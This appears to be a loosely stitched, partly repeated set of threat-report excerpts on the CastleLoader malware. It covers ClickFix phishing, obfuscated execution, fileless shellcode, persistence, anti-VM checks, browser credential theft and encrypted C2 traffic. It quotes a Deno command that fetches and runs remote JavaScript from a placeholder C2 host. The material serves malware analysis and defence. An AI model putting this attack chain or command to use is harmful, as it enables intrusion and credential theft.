CastleLoader

Infections are most commonly initiated through Cloudflare-themed “ClickFix” phishing attacks or fraudulent GitHub repositories masquerading as legitimate applications.

Public reporting indicates that although overall clicks and downloads were limited, the 28.7% infection rate among victims who interacted with malicious links underscores the effectiveness of TAG-150.

Victims are tricked into copying and executing malicious PowerShell commands on their own devices, thereby enabling the compromise.

The initial payload is executed using a command that invokes cmd.exe with a minimized window and uses process output from the caret-obfuscated finger utility.

Lastly, the renamed Python interpreter will be used to execute inline Python code.

The following stage is executed with the downloaded Deno executable: ... deno.exe run -A http://{C2}/{random_path}.js

In this case, the bytecode file is another in-memory loader that uses the Windows ctypes interface to execute shellcode received from a local named pipe.

When the user interacts with the fake CAPTCHA box, a payload gets copied to the clipboard via the classic document.execCommand("copy") method.

The initial payload is executed using a command that invokes cmd.exe with a minimized window and uses process output from the caret-obfuscated finger utility.

startup_method Persistence mechanism: 1=Registry Run, 2=Startup LNK, 3=Scheduled Task

This will be loaded in the memory of the same host python interpreter.

The second task is in-memory only ... launch method 7 for APC injection, fetching net40.bin and injecting the resulting .NET binary into a target process without ever touching disk

startup_method Persistence mechanism: 1=Registry Run, 2=Startup LNK, 3=Scheduled Task

run_as_admin The malware will relaunch its parent via cmd.exe /c <parent_process> via ShellExecuteW with the "runas" verb to elevate it as Administrator.

The payload downloaded by the renamed Python interpreter is another Python script that performs a Cyrillic substitution operation. Prior to Base64 decoding, the script replaces specific Cyrillic characters with their Latin equivalents.

Infections are most commonly initiated through Cloudflare-themed “ClickFix” phishing attacks or fraudulent GitHub repositories masquerading as legitimate applications. The operators employ the ClickFix technique by leveraging domains that imitate software development libraries, online meeting platforms, browser update alerts, and document verification systems.

This directory is also created under %LocalAppData% and mimics a legitimate Python installation structure, depending on the runtime variant being used (embedded CPython or IronPython).

This will be loaded in the memory of the same host python interpreter.

The second task is in-memory only ... launch method 7 for APC injection, fetching net40.bin and injecting the resulting .NET binary into a target process without ever touching disk

Embedded JavaScript dynamically fetches remote content from this endpoint, applies ROT13 to decode the response... Prior to Base64 decoding, the script replaces specific Cyrillic characters with their Latin equivalents... using Base64 encoding, XOR decryption... The first 64 bytes of the downloaded blob are treated as the RC4 key... all C2 communication is encrypted via the symmetric ChaCha algorithm.

Despite differences in tooling and runtime selection, both variants follow the same overall execution chain, including LOLBin abuse, portable Python runtime deployment, staged payload retrieval, and in-memory execution of the next-stage malware payload.

anti_vm Run cpuid instruction to attempt to detect hypervisor (VMware, VirtualBox, Parallels) environments.

After substituting and decoding the Base64 blobs, this Python script implements a classic fileless shellcode, using Base64 encoding, XOR decryption, and direct Windows API calls via ctypes to execute payloads entirely in memory.

For Chromium-family browsers the stealer reads Login Data (the SQLite password store), cookies.sqlite, and Local State ... CryptUnprotectData specifically to decrypt it.

The loader issues a get_tasks request to its C2 server using generated identifiers of the infected host... along with system profiling data (username, computer_name, domain_name, windows_version, arch, active_av and active_list).

anti_vm Run cpuid instruction to attempt to detect hypervisor (VMware, VirtualBox, Parallels) environments.

get_installed_av Enumerate installed AV products via WMI root\SecurityCenter2 using CoCreateInstance and CoSetProxyBlanket

make_screenshots Capture the desktop on bootstrap via the GDI BitBlt pipeline

After decryption, the buffer resolves with a ZIP archive containing the resources of the final payload.

The infrastructure linked to TAG-150 includes both victim-facing Tier 1 components, such as IP addresses and domains used as command-and-control (C2) servers for multiple malware families...

For the initial configuration fetch, the malware issues a GET request to a hardcoded base URL... the loader contacts only the base endpoint and transmits encrypted data within the HTTP POST request body.

These malware families are frequently observed as initial infection vectors that deliver a wide range of secondary payloads... CastleRAT's core functionality consists of... downloading and executing additional payloads.

Apart from the malware's initial GET request, all C2 communication is encrypted via the symmetric ChaCha algorithm.

...a pair of CastleRAT trojan variants enabling system data exfiltration, command execution, and further payload deployment...